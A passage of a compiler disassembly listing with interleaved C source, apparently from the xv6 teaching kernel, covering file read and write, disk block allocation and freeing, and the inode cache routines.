80100f37: 59 pop %ecx 80100f38: ff 73 10 pushl 0x10(%ebx) 80100f3b: e8 20 08 00 00 call 80101760 <iunlock> return 0; 80100f40: 83 c4 10 add $0x10,%esp 80100f43: 31 c0 xor %eax,%eax } return -1; } 80100f45: 8b 5d fc mov -0x4(%ebp),%ebx 80100f48: c9 leave 80100f49: c3 ret 80100f4a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return -1; 80100f50: b8 ff ff ff ff mov $0xffffffff,%eax 80100f55: eb ee jmp 80100f45 <filestat+0x35> 80100f57: 89 f6 mov %esi,%esi 80100f59: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80100f60 <fileread>: // Read from file f. int fileread(struct file *f, char *addr, int n) { 80100f60: 55 push %ebp 80100f61: 89 e5 mov %esp,%ebp 80100f63: 57 push %edi 80100f64: 56 push %esi 80100f65: 53 push %ebx 80100f66: 83 ec 0c sub $0xc,%esp 80100f69: 8b 5d 08 mov 0x8(%ebp),%ebx 80100f6c: 8b 75 0c mov 0xc(%ebp),%esi 80100f6f: 8b 7d 10 mov 0x10(%ebp),%edi int r; if(f->readable == 0) 80100f72: 80 7b 08 00 cmpb $0x0,0x8(%ebx) 80100f76: 74 60 je 80100fd8 <fileread+0x78> return -1; if(f->type == FD_PIPE) 80100f78: 8b 03 mov (%ebx),%eax 80100f7a: 83 f8 01 cmp $0x1,%eax 80100f7d: 74 41 je 80100fc0 <fileread+0x60> return piperead(f->pipe, addr, n); if(f->type == FD_INODE){ 80100f7f: 83 f8 02 cmp $0x2,%eax 80100f82: 75 5b jne 80100fdf <fileread+0x7f> ilock(f->ip); 80100f84: 83 ec 0c sub $0xc,%esp 80100f87: ff 73 10 pushl 0x10(%ebx) 80100f8a: e8 f1 06 00 00 call 80101680 <ilock> if((r = readi(f->ip, addr, f->off, n)) > 0) 80100f8f: 57 push %edi 80100f90: ff 73 14 pushl 0x14(%ebx) 80100f93: 56 push %esi 80100f94: ff 73 10 pushl 0x10(%ebx) 80100f97: e8 c4 09 00 00 call 80101960 <readi> 80100f9c: 83 c4 20 add $0x20,%esp 80100f9f: 85 c0 test %eax,%eax 80100fa1: 89 c6 mov %eax,%esi 80100fa3: 7e 03 jle 80100fa8 <fileread+0x48> f->off += r; 80100fa5: 01 43 14 add %eax,0x14(%ebx) iunlock(f->ip); 80100fa8: 83 ec 0c sub $0xc,%esp 80100fab: ff 73 10 pushl 0x10(%ebx) 80100fae: e8 ad 07 00 00 call 80101760 <iunlock> return r; 80100fb3: 83 c4 10 add $0x10,%esp } panic("fileread"); } 80100fb6: 8d 65 f4 lea -0xc(%ebp),%esp 80100fb9: 89 f0 mov %esi,%eax 80100fbb: 5b pop %ebx 80100fbc: 5e pop %esi 80100fbd: 5f pop %edi 80100fbe: 5d pop %ebp 80100fbf: c3 ret return piperead(f->pipe, addr, n); 80100fc0: 8b 43 0c mov 0xc(%ebx),%eax 80100fc3: 89 45 08 mov %eax,0x8(%ebp) } 80100fc6: 8d 65 f4 lea -0xc(%ebp),%esp 80100fc9: 5b pop %ebx 80100fca: 5e pop %esi 80100fcb: 5f pop %edi 80100fcc: 5d pop %ebp return piperead(f->pipe, addr, n); 80100fcd: e9 2e 25 00 00 jmp 80103500 <piperead> 80100fd2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return -1; 80100fd8: be ff ff ff ff mov $0xffffffff,%esi 80100fdd: eb d7 jmp 80100fb6 <fileread+0x56> panic("fileread"); 80100fdf: 83 ec 0c sub $0xc,%esp 80100fe2: 68 a6 70 10 80 push $0x801070a6 80100fe7: e8 a4 f3 ff ff call 80100390 <panic> 80100fec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100ff0 <filewrite>: //PAGEBREAK! // Write to file f. int filewrite(struct file *f, char *addr, int n) { 80100ff0: 55 push %ebp 80100ff1: 89 e5 mov %esp,%ebp 80100ff3: 57 push %edi 80100ff4: 56 push %esi 80100ff5: 53 push %ebx 80100ff6: 83 ec 1c sub $0x1c,%esp 80100ff9: 8b 75 08 mov 0x8(%ebp),%esi 80100ffc: 8b 45 0c mov 0xc(%ebp),%eax int r; if(f->writable == 0) 80100fff: 80 7e 09 00 cmpb $0x0,0x9(%esi) { 80101003: 89 45 dc mov %eax,-0x24(%ebp) 80101006: 8b 45 10 mov 0x10(%ebp),%eax 80101009: 89 45 e4 mov %eax,-0x1c(%ebp) if(f->writable == 0) 8010100c: 0f 84 aa 00 00 00 je 801010bc <filewrite+0xcc> return -1; if(f->type == FD_PIPE) 80101012: 8b 06 mov (%esi),%eax 80101014: 83 f8 01 cmp $0x1,%eax 80101017: 0f 84 c3 00 00 00 je 801010e0 <filewrite+0xf0> return pipewrite(f->pipe, addr, n); if(f->type == FD_INODE){ 8010101d: 83 f8 02 cmp $0x2,%eax 80101020: 0f 85 d9 00 00 00 jne 801010ff <filewrite+0x10f> // and 2 blocks of slop for non-aligned writes. // this really belongs lower down, since writei() // might be writing a device like the console. int max = ((MAXOPBLOCKS-1-1-2) / 2) * 512; int i = 0; while(i < n){ 80101026: 8b 45 e4 mov -0x1c(%ebp),%eax int i = 0; 80101029: 31 ff xor %edi,%edi while(i < n){ 8010102b: 85 c0 test %eax,%eax 8010102d: 7f 34 jg 80101063 <filewrite+0x73> 8010102f: e9 9c 00 00 00 jmp 801010d0 <filewrite+0xe0> 80101034: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi n1 = max; begin_op(); ilock(f->ip); if ((r = writei(f->ip, addr + i, f->off, n1)) > 0) f->off += r; 80101038: 01 46 14 add %eax,0x14(%esi) iunlock(f->ip); 8010103b: 83 ec 0c sub $0xc,%esp 8010103e: ff 76 10 pushl 0x10(%esi) f->off += r; 80101041: 89 45 e0 mov %eax,-0x20(%ebp) iunlock(f->ip); 80101044: e8 17 07 00 00 call 80101760 <iunlock> end_op(); 80101049: e8 c2 1b 00 00 call 80102c10 <end_op> 8010104e: 8b 45 e0 mov -0x20(%ebp),%eax 80101051: 83 c4 10 add $0x10,%esp if(r < 0) break; if(r != n1) 80101054: 39 c3 cmp %eax,%ebx 80101056: 0f 85 96 00 00 00 jne 801010f2 <filewrite+0x102> panic("short filewrite"); i += r; 8010105c: 01 df add %ebx,%edi while(i < n){ 8010105e: 39 7d e4 cmp %edi,-0x1c(%ebp) 80101061: 7e 6d jle 801010d0 <filewrite+0xe0> int n1 = n - i; 80101063: 8b 5d e4 mov -0x1c(%ebp),%ebx 80101066: b8 00 06 00 00 mov $0x600,%eax 8010106b: 29 fb sub %edi,%ebx 8010106d: 81 fb 00 06 00 00 cmp $0x600,%ebx 80101073: 0f 4f d8 cmovg %eax,%ebx begin_op(); 80101076: e8 25 1b 00 00 call 80102ba0 <begin_op> ilock(f->ip); 8010107b: 83 ec 0c sub $0xc,%esp 8010107e: ff 76 10 pushl 0x10(%esi) 80101081: e8 fa 05 00 00 call 80101680 <ilock> if ((r = writei(f->ip, addr + i, f->off, n1)) > 0) 80101086: 8b 45 dc mov -0x24(%ebp),%eax 80101089: 53 push %ebx 8010108a: ff 76 14 pushl 0x14(%esi) 8010108d: 01 f8 add %edi,%eax 8010108f: 50 push %eax 80101090: ff 76 10 pushl 0x10(%esi) 80101093: e8 c8 09 00 00 call 80101a60 <writei> 80101098: 83 c4 20 add $0x20,%esp 8010109b: 85 c0 test %eax,%eax 8010109d: 7f 99 jg 80101038 <filewrite+0x48> iunlock(f->ip); 8010109f: 83 ec 0c sub $0xc,%esp 801010a2: ff 76 10 pushl 0x10(%esi) 801010a5: 89 45 e0 mov %eax,-0x20(%ebp) 801010a8: e8 b3 06 00 00 call 80101760 <iunlock> end_op(); 801010ad: e8 5e 1b 00 00 call 80102c10 <end_op> if(r < 0) 801010b2: 8b 45 e0 mov -0x20(%ebp),%eax 801010b5: 83 c4 10 add $0x10,%esp 801010b8: 85 c0 test %eax,%eax 801010ba: 74 98 je 80101054 <filewrite+0x64> } return i == n ? n : -1; } panic("filewrite"); } 801010bc: 8d 65 f4 lea -0xc(%ebp),%esp return -1; 801010bf: bf ff ff ff ff mov $0xffffffff,%edi } 801010c4: 89 f8 mov %edi,%eax 801010c6: 5b pop %ebx 801010c7: 5e pop %esi 801010c8: 5f pop %edi 801010c9: 5d pop %ebp 801010ca: c3 ret 801010cb: 90 nop 801010cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return i == n ? n : -1; 801010d0: 39 7d e4 cmp %edi,-0x1c(%ebp) 801010d3: 75 e7 jne 801010bc <filewrite+0xcc> } 801010d5: 8d 65 f4 lea -0xc(%ebp),%esp 801010d8: 89 f8 mov %edi,%eax 801010da: 5b pop %ebx 801010db: 5e pop %esi 801010dc: 5f pop %edi 801010dd: 5d pop %ebp 801010de: c3 ret 801010df: 90 nop return pipewrite(f->pipe, addr, n); 801010e0: 8b 46 0c mov 0xc(%esi),%eax 801010e3: 89 45 08 mov %eax,0x8(%ebp) } 801010e6: 8d 65 f4 lea -0xc(%ebp),%esp 801010e9: 5b pop %ebx 801010ea: 5e pop %esi 801010eb: 5f pop %edi 801010ec: 5d pop %ebp return pipewrite(f->pipe, addr, n); 801010ed: e9 fe 22 00 00 jmp 801033f0 <pipewrite> panic("short filewrite"); 801010f2: 83 ec 0c sub $0xc,%esp 801010f5: 68 af 70 10 80 push $0x801070af 801010fa: e8 91 f2 ff ff call 80100390 <panic> panic("filewrite"); 801010ff: 83 ec 0c sub $0xc,%esp 80101102: 68 b5 70 10 80 push $0x801070b5 80101107: e8 84 f2 ff ff call 80100390 <panic> 8010110c: 66 90 xchg %ax,%ax 8010110e: 66 90 xchg %ax,%ax 80101110 <bfree>: } // Free a disk block. static void bfree(int dev, uint b) { 80101110: 55 push %ebp 80101111: 89 e5 mov %esp,%ebp 80101113: 56 push %esi 80101114: 53 push %ebx 80101115: 89 d3 mov %edx,%ebx struct buf *bp; int bi, m; bp = bread(dev, BBLOCK(b, sb)); 80101117: c1 ea 0c shr $0xc,%edx 8010111a: 03 15 d8 09 11 80 add 0x801109d8,%edx 80101120: 83 ec 08 sub $0x8,%esp 80101123: 52 push %edx 80101124: 50 push %eax 80101125: e8 a6 ef ff ff call 801000d0 <bread> bi = b % BPB; m = 1 << (bi % 8); 8010112a: 89 d9 mov %ebx,%ecx if((bp->data[bi/8] & m) == 0) 8010112c: c1 fb 03 sar $0x3,%ebx m = 1 << (bi % 8); 8010112f: ba 01 00 00 00 mov $0x1,%edx 80101134: 83 e1 07 and $0x7,%ecx if((bp->data[bi/8] & m) == 0) 80101137: 81 e3 ff 01 00 00 and $0x1ff,%ebx 8010113d: 83 c4 10 add $0x10,%esp m = 1 << (bi % 8); 80101140: d3 e2 shl %cl,%edx if((bp->data[bi/8] & m) == 0) 80101142: 0f b6 4c 18 5c movzbl 0x5c(%eax,%ebx,1),%ecx 80101147: 85 d1 test %edx,%ecx 80101149: 74 25 je 80101170 <bfree+0x60> panic("freeing free block"); bp->data[bi/8] &= ~m; 8010114b: f7 d2 not %edx 8010114d: 89 c6 mov %eax,%esi log_write(bp); 8010114f: 83 ec 0c sub $0xc,%esp bp->data[bi/8] &= ~m; 80101152: 21 ca and %ecx,%edx 80101154: 88 54 1e 5c mov %dl,0x5c(%esi,%ebx,1) log_write(bp); 80101158: 56 push %esi 80101159: e8 12 1c 00 00 call 80102d70 <log_write> brelse(bp); 8010115e: 89 34 24 mov %esi,(%esp) 80101161: e8 7a f0 ff ff call 801001e0 <brelse> } 80101166: 83 c4 10 add $0x10,%esp 80101169: 8d 65 f8 lea -0x8(%ebp),%esp 8010116c: 5b pop %ebx 8010116d: 5e pop %esi 8010116e: 5d pop %ebp 8010116f: c3 ret panic("freeing free block"); 80101170: 83 ec 0c sub $0xc,%esp 80101173: 68 bf 70 10 80 push $0x801070bf 80101178: e8 13 f2 ff ff call 80100390 <panic> 8010117d: 8d 76 00 lea 0x0(%esi),%esi 80101180 <balloc>: { 80101180: 55 push %ebp 80101181: 89 e5 mov %esp,%ebp 80101183: 57 push %edi 80101184: 56 push %esi 80101185: 53 push %ebx 80101186: 83 ec 1c sub $0x1c,%esp for(b = 0; b < sb.size; b += BPB){ 80101189: 8b 0d c0 09 11 80 mov 0x801109c0,%ecx { 8010118f: 89 45 d8 mov %eax,-0x28(%ebp) for(b = 0; b < sb.size; b += BPB){ 80101192: 85 c9 test %ecx,%ecx 80101194: 0f 84 87 00 00 00 je 80101221 <balloc+0xa1> 8010119a: c7 45 dc 00 00 00 00 movl $0x0,-0x24(%ebp) bp = bread(dev, BBLOCK(b, sb)); 801011a1: 8b 75 dc mov -0x24(%ebp),%esi 801011a4: 83 ec 08 sub $0x8,%esp 801011a7: 89 f0 mov %esi,%eax 801011a9: c1 f8 0c sar $0xc,%eax 801011ac: 03 05 d8 09 11 80 add 0x801109d8,%eax 801011b2: 50 push %eax 801011b3: ff 75 d8 pushl -0x28(%ebp) 801011b6: e8 15 ef ff ff call 801000d0 <bread> 801011bb: 89 45 e4 mov %eax,-0x1c(%ebp) for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ 801011be: a1 c0 09 11 80 mov 0x801109c0,%eax 801011c3: 83 c4 10 add $0x10,%esp 801011c6: 89 45 e0 mov %eax,-0x20(%ebp) 801011c9: 31 c0 xor %eax,%eax 801011cb: eb 2f jmp 801011fc <balloc+0x7c> 801011cd: 8d 76 00 lea 0x0(%esi),%esi m = 1 << (bi % 8); 801011d0: 89 c1 mov %eax,%ecx if((bp->data[bi/8] & m) == 0){ // Is block free? 801011d2: 8b 55 e4 mov -0x1c(%ebp),%edx m = 1 << (bi % 8); 801011d5: bb 01 00 00 00 mov $0x1,%ebx 801011da: 83 e1 07 and $0x7,%ecx 801011dd: d3 e3 shl %cl,%ebx if((bp->data[bi/8] & m) == 0){ // Is block free? 801011df: 89 c1 mov %eax,%ecx 801011e1: c1 f9 03 sar $0x3,%ecx 801011e4: 0f b6 7c 0a 5c movzbl 0x5c(%edx,%ecx,1),%edi 801011e9: 85 df test %ebx,%edi 801011eb: 89 fa mov %edi,%edx 801011ed: 74 41 je 80101230 <balloc+0xb0> for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ 801011ef: 83 c0 01 add $0x1,%eax 801011f2: 83 c6 01 add $0x1,%esi 801011f5: 3d 00 10 00 00 cmp $0x1000,%eax 801011fa: 74 05 je 80101201 <balloc+0x81> 801011fc: 39 75 e0 cmp %esi,-0x20(%ebp) 801011ff: 77 cf ja 801011d0 <balloc+0x50> brelse(bp); 80101201: 83 ec 0c sub $0xc,%esp 80101204: ff 75 e4 pushl -0x1c(%ebp) 80101207: e8 d4 ef ff ff call 801001e0 <brelse> for(b = 0; b < sb.size; b += BPB){ 8010120c: 81 45 dc 00 10 00 00 addl $0x1000,-0x24(%ebp) 80101213: 83 c4 10 add $0x10,%esp 80101216: 8b 45 dc mov -0x24(%ebp),%eax 80101219: 39 05 c0 09 11 80 cmp %eax,0x801109c0 8010121f: 77 80 ja 801011a1 <balloc+0x21> panic("balloc: out of blocks"); 80101221: 83 ec 0c sub $0xc,%esp 80101224: 68 d2 70 10 80 push $0x801070d2 80101229: e8 62 f1 ff ff call 80100390 <panic> 8010122e: 66 90 xchg %ax,%ax bp->data[bi/8] |= m; // Mark block in use. 80101230: 8b 7d e4 mov -0x1c(%ebp),%edi log_write(bp); 80101233: 83 ec 0c sub $0xc,%esp bp->data[bi/8] |= m; // Mark block in use. 80101236: 09 da or %ebx,%edx 80101238: 88 54 0f 5c mov %dl,0x5c(%edi,%ecx,1) log_write(bp); 8010123c: 57 push %edi 8010123d: e8 2e 1b 00 00 call 80102d70 <log_write> brelse(bp); 80101242: 89 3c 24 mov %edi,(%esp) 80101245: e8 96 ef ff ff call 801001e0 <brelse> bp = bread(dev, bno); 8010124a: 58 pop %eax 8010124b: 5a pop %edx 8010124c: 56 push %esi 8010124d: ff 75 d8 pushl -0x28(%ebp) 80101250: e8 7b ee ff ff call 801000d0 <bread> 80101255: 89 c3 mov %eax,%ebx memset(bp->data, 0, BSIZE); 80101257: 8d 40 5c lea 0x5c(%eax),%eax 8010125a: 83 c4 0c add $0xc,%esp 8010125d: 68 00 02 00 00 push $0x200 80101262: 6a 00 push $0x0 80101264: 50 push %eax 80101265: e8 b6 32 00 00 call 80104520 <memset> log_write(bp); 8010126a: 89 1c 24 mov %ebx,(%esp) 8010126d: e8 fe 1a 00 00 call 80102d70 <log_write> brelse(bp); 80101272: 89 1c 24 mov %ebx,(%esp) 80101275: e8 66 ef ff ff call 801001e0 <brelse> } 8010127a: 8d 65 f4 lea -0xc(%ebp),%esp 8010127d: 89 f0 mov %esi,%eax 8010127f: 5b pop %ebx 80101280: 5e pop %esi 80101281: 5f pop %edi 80101282: 5d pop %ebp 80101283: c3 ret 80101284: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8010128a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80101290 <iget>: // Find the inode with number inum on device dev // and return the in-memory copy. Does not lock // the inode and does not read it from disk. static struct inode* iget(uint dev, uint inum) { 80101290: 55 push %ebp 80101291: 89 e5 mov %esp,%ebp 80101293: 57 push %edi 80101294: 56 push %esi 80101295: 53 push %ebx 80101296: 89 c7 mov %eax,%edi struct inode *ip, *empty; acquire(&icache.lock); // Is the inode already cached? empty = 0; 80101298: 31 f6 xor %esi,%esi for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 8010129a: bb 14 0a 11 80 mov $0x80110a14,%ebx { 8010129f: 83 ec 28 sub $0x28,%esp 801012a2: 89 55 e4 mov %edx,-0x1c(%ebp) acquire(&icache.lock); 801012a5: 68 e0 09 11 80 push $0x801109e0 801012aa: e8 61 31 00 00 call 80104410 <acquire> 801012af: 83 c4 10 add $0x10,%esp for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 801012b2: 8b 55 e4 mov -0x1c(%ebp),%edx 801012b5: eb 17 jmp 801012ce <iget+0x3e> 801012b7: 89 f6 mov %esi,%esi 801012b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801012c0: 81 c3 90 00 00 00 add $0x90,%ebx 801012c6: 81 fb 34 26 11 80 cmp $0x80112634,%ebx 801012cc: 73 22 jae 801012f0 <iget+0x60> if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ 801012ce: 8b 4b 08 mov 0x8(%ebx),%ecx 801012d1: 85 c9 test %ecx,%ecx 801012d3: 7e 04 jle 801012d9 <iget+0x49> 801012d5: 39 3b cmp %edi,(%ebx) 801012d7: 74 4f je 80101328 <iget+0x98> ip->ref++; release(&icache.lock); return ip; } if(empty == 0 && ip->ref == 0) // Remember empty slot. 801012d9: 85 f6 test %esi,%esi 801012db: 75 e3 jne 801012c0 <iget+0x30> 801012dd: 85 c9 test %ecx,%ecx 801012df: 0f 44 f3 cmove %ebx,%esi for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 801012e2: 81 c3 90 00 00 00 add $0x90,%ebx 801012e8: 81 fb 34 26 11 80 cmp $0x80112634,%ebx 801012ee: 72 de jb 801012ce <iget+0x3e> empty = ip; } // Recycle an inode cache entry. if(empty == 0) 801012f0: 85 f6 test %esi,%esi 801012f2: 74 5b je 8010134f <iget+0xbf> ip = empty; ip->dev = dev; ip->inum = inum; ip->ref = 1; ip->valid = 0; release(&icache.lock); 801012f4: 83 ec 0c sub $0xc,%esp ip->dev = dev; 801012f7: 89 3e mov %edi,(%esi) ip->inum = inum; 801012f9: 89 56 04 mov %edx,0x4(%esi) ip->ref = 1; 801012fc: c7 46 08 01 00 00 00 movl $0x1,0x8(%esi) ip->valid = 0; 80101303: c7 46 4c 00 00 00 00 movl $0x0,0x4c(%esi) release(&icache.lock); 8010130a: 68 e0 09 11 80 push $0x801109e0 8010130f: e8 bc 31 00 00 call 801044d0 <release> return ip; 80101314: 83 c4 10 add $0x10,%esp } 80101317: 8d 65 f4 lea -0xc(%ebp),%esp 8010131a: 89 f0 mov %esi,%eax 8010131c: 5b pop %ebx 8010131d: 5e pop %esi 8010131e: 5f pop %edi 8010131f: 5d pop %ebp 80101320: c3 ret 80101321: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ 80101328: 39 53 04 cmp %edx,0x4(%ebx) 8010132b: 75 ac jne 801012d9 <iget+0x49> release(&icache.lock); 8010132d: 83 ec 0c sub $0xc,%esp ip->ref++; 80101330: 83 c1 01 add $0x1,%ecx return ip; 80101333: 89 de mov %ebx,%esi release(&icache.lock); 80101335: 68 e0 09 11 80 push $0x801109e0 ip->ref++; 8010133a: 89 4b 08 mov %ecx,0x8(%ebx) release(&icache.lock); 8010133d: e8 8e 31 00 00 call 801044d0 <release> return ip; 80101342: 83 c4 10 add $0x10,%esp } 80101345: 8d 65 f4 lea -0xc(%ebp),%esp 80101348: 89 f0 mov %esi,%eax 8010134a: 5b pop %ebx 8010134b: 5e pop %esi 8010134c: 5f pop %edi 8010134d: 5d pop %ebp 8010134e: c3 ret panic("iget: no inodes"); 8010134f: 83 ec 0c sub $0xc,%esp 80101352: 68 e8 70 10 80 push $0x801070e8 80101357: e8 34 f0 ff ff call 80100390 <panic> 8010135c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101360 <bmap>: // Return the disk block address of the nth block in inode ip. // If there is no such block, bmap allocates one. static uint bmap(struct inode *ip, uint bn) { 80101360: 55 push %ebp 80101361: 89 e5 mov %esp,%ebp 80101363: 57 push %edi 80101364: 56 push %esi 80101365: 53 push %ebx 80101366: 89 c6 mov %eax,%esi 80101368: 83 ec 1c sub $0x1c,%esp uint addr, *a; struct buf *bp; if(bn < NDIRECT){ 8010136b: 83 fa 0b cmp $0xb,%edx 8010136e: 77 18 ja 80101388 <bmap+0x28> 80101370: 8d 3c 90 lea (%eax,%edx,4),%edi if((addr = ip->addrs[bn]) == 0) 80101373: 8b 5f 5c mov 0x5c(%edi),%ebx 80101376: 85 db test %ebx,%ebx 80101378: 74 76 je 801013f0 <bmap+0x90> brelse(bp); return addr; } panic("bmap: out of range"); } 8010137a: 8d 65 f4 lea -0xc(%ebp),%esp 8010137d: 89 d8 mov %ebx,%eax 8010137f: 5b pop %ebx 80101380: 5e pop %esi 80101381: 5f pop %edi 80101382: 5d pop %ebp 80101383: c3 ret 80101384: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi bn -= NDIRECT; 80101388: 8d 5a f4 lea -0xc(%edx),%ebx if(bn < NINDIRECT){ 8010138b: 83 fb 7f cmp $0x7f,%ebx 8010138e: 0f 87 90 00 00 00 ja 80101424 <bmap+0xc4> if((addr = ip->addrs[NDIRECT]) == 0) 80101394: 8b 90 8c 00 00 00 mov 0x8c(%eax),%edx 8010139a: 8b 00 mov (%eax),%eax 8010139c: 85 d2 test %edx,%edx 8010139e: 74 70 je 80101410 <bmap+0xb0> bp = bread(ip->dev, addr); 801013a0: 83 ec 08 sub $0x8,%esp 801013a3: 52 push %edx 801013a4: 50 push %eax 801013a5: e8 26 ed ff ff call 801000d0 <bread> if((addr = a[bn]) == 0){ 801013aa: 8d 54 98 5c lea 0x5c(%eax,%ebx,4),%edx 801013ae: 83 c4 10 add $0x10,%esp bp = bread(ip->dev, addr); 801013b1: 89 c7 mov %eax,%edi if((addr = a[bn]) == 0){ 801013b3: 8b 1a mov (%edx),%ebx 801013b5: 85 db test %ebx,%ebx 801013b7: 75 1d jne 801013d6 <bmap+0x76> a[bn] = addr = balloc(ip->dev); 801013b9: 8b 06 mov (%esi),%eax 801013bb: 89 55 e4 mov %edx,-0x1c(%ebp) 801013be: e8 bd fd ff ff call 80101180 <balloc> 801013c3: 8b 55 e4 mov -0x1c(%ebp),%edx log_write(bp); 801013c6: 83 ec 0c sub $0xc,%esp a[bn] = addr = balloc(ip->dev); 801013c9: 89 c3 mov %eax,%ebx 801013cb: 89 02 mov %eax,(%edx) log_write(bp); 801013cd: 57 push %edi 801013ce: e8 9d 19 00 00 call 80102d70 <log_write> 801013d3: 83 c4 10 add $0x10,%esp brelse(bp); 801013d6: 83 ec 0c sub $0xc,%esp 801013d9: 57 push %edi 801013da: e8 01 ee ff ff call 801001e0 <brelse> 801013df: 83 c4 10 add $0x10,%esp } 801013e2: 8d 65 f4 lea -0xc(%ebp),%esp 801013e5: 89 d8 mov %ebx,%eax 801013e7: 5b pop %ebx 801013e8: 5e pop %esi 801013e9: 5f pop %edi 801013ea: 5d pop %ebp 801013eb: c3 ret 801013ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi ip->addrs[bn] = addr = balloc(ip->dev); 801013f0: 8b 00 mov (%eax),%eax 801013f2: e8 89 fd ff ff call 80101180 <balloc> 801013f7: 89 47 5c mov %eax,0x5c(%edi) } 801013fa: 8d 65 f4 lea -0xc(%ebp),%esp ip->addrs[bn] = addr = balloc(ip->dev); 801013fd: 89 c3 mov %eax,%ebx } 801013ff: 89 d8 mov %ebx,%eax 80101401: 5b pop %ebx 80101402: 5e pop %esi 80101403: 5f pop %edi 80101404: 5d pop %ebp 80101405: c3 ret 80101406: 8d 76 00 lea 0x0(%esi),%esi 80101409: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi ip->addrs[NDIRECT] = addr = balloc(ip->dev); 80101410: e8 6b fd ff ff call 80101180 <balloc> 80101415: 89 c2 mov %eax,%edx 80101417: 89 86 8c 00 00 00 mov %eax,0x8c(%esi) 8010141d: 8b 06 mov (%esi),%eax 8010141f: e9 7c ff ff ff jmp 801013a0 <bmap+0x40> panic("bmap: out of range"); 80101424: 83 ec 0c sub $0xc,%esp 80101427: 68 f8 70 10 80 push $0x801070f8 8010142c: e8 5f ef ff ff call 80100390 <panic> 80101431: eb 0d jmp 80101440 <readsb> 80101433: 90 nop 80101434: 90 nop 80101435: 90 nop 80101436: 90 nop 80101437: 90 nop 80101438: 90 nop 80101439: 90 nop 8010143a: 90 nop 8010143b: 90 nop 8010143c: 90 nop 8010143d: 90 nop 8010143e: 90 nop 8010143f: 90 nop 80101440 <readsb>: { 80101440: 55 push %ebp 80101441: 89 e5 mov %esp,%ebp 80101443: 56 push %esi 80101444: 53 push %ebx 80101445: 8b 75 0c mov 0xc(%ebp),%esi bp = bread(dev, 1); 80101448: 83 ec 08 sub $0x8,%esp 8010144b: 6a 01 push $0x1 8010144d: ff 75 08 pushl 0x8(%ebp) 80101450: e8 7b ec ff ff call 801000d0 <bread> 80101455: 89 c3 mov %eax,%ebx memmove(sb, bp->data, sizeof(*sb)); 80101457: 8d 40 5c lea 0x5c(%eax),%eax 8010145a: 83 c4 0c add $0xc,%esp 8010145d: 6a 1c push $0x1c 8010145f: 50 push %eax 80101460: 56 push %esi 80101461: e8 6a 31 00 00 call 801045d0 <memmove> brelse(bp); 80101466: 89 5d 08 mov %ebx,0x8(%ebp) 80101469: 83 c4 10 add $0x10,%esp } 8010146c: 8d 65 f8 lea -0x8(%ebp),%esp 8010146f: 5b pop %ebx 80101470: 5e pop %esi 80101471: 5d pop %ebp brelse(bp); 80101472: e9 69 ed ff ff jmp 801001e0 <brelse> 80101477: 89 f6 mov %esi,%esi 80101479: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101480 <iinit>: { 80101480: 55 push %ebp 80101481: 89 e5 mov %esp,%ebp 80101483: 53 push %ebx 80101484: bb 20 0a 11 80 mov $0x80110a20,%ebx 80101489: 83 ec 0c sub $0xc,%esp initlock(&icache.lock, "icache"); 8010148c: 68 0b 71 10 80 push $0x8010710b 80101491: 68 e0 09 11 80 push $0x801109e0 80101496: e8 35 2e 00 00 call 801042d0 <initlock> 8010149b: 83 c4 10 add $0x10,%esp 8010149e: 66 90 xchg %ax,%ax initsleeplock(&icache.inode[i].lock, "inode"); 801014a0: 83 ec 08 sub $0x8,%esp 801014a3: 68 12 71 10 80 push $0x80107112 801014a8: 53 push %ebx 801014a9: 81 c3 90 00 00 00 add $0x90,%ebx 801014af: e8 ec 2c 00 00 call 801041a0 <initsleeplock> for(i = 0; i < NINODE; i++) { 801014b4: 83 c4 10 add $0x10,%esp 801014b7: 81 fb 40 26 11 80 cmp $0x80112640,%ebx 801014bd: 75 e1 jne 801014a0 <iinit+0x20> readsb(dev, &sb); 801014bf: 83 ec 08 sub $0x8,%esp 801014c2: 68 c0 09 11 80 push $0x801109c0 801014c7: ff 75 08 pushl 0x8(%ebp) 801014ca: e8 71 ff ff ff call 80101440 <readsb> cprintf("sb: size %d nblocks %d ninodes %d nlog %d logstart %d\ 801014cf: ff 35 d8 09 11 80 pushl 0x801109d8 801014d5: ff 35 d4 09 11 80 pushl 0x801109d4 801014db: ff 35 d0 09 11 80 pushl 0x801109d0 801014e1: ff 35 cc 09 11 80 pushl 0x801109cc 801014e7: ff 35 c8 09 11 80 pushl 0x801109c8 801014ed: ff 35 c4 09 11 80 pushl 0x801109c4 801014f3: ff 35 c0 09 11 80 pushl 0x801109c0 801014f9: 68 78 71 10 80 push $0x80107178 801014fe: e8 5d f1 ff ff call 80100660 <cprintf> } 80101503: 83 c4 30 add $0x30,%esp 80101506: 8b 5d fc mov -0x4(%ebp),%ebx 80101509: c9 leave 8010150a: c3 ret 8010150b: 90 nop 8010150c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101510 <ialloc>: { 80101510: 55 push %ebp 80101511: 89 e5 mov %esp,%ebp 80101513: 57 push %edi 80101514: 56 push %esi 80101515: 53 push %ebx 80101516: 83 ec 1c sub $0x1c,%esp for(inum = 1; inum < sb.ninodes; inum++){ 80101519: 83 3d c8 09 11 80 01 cmpl $0x1,0x801109c8 { 80101520: 8b 45 0c mov 0xc(%ebp),%eax 80101523: 8b 75 08 mov 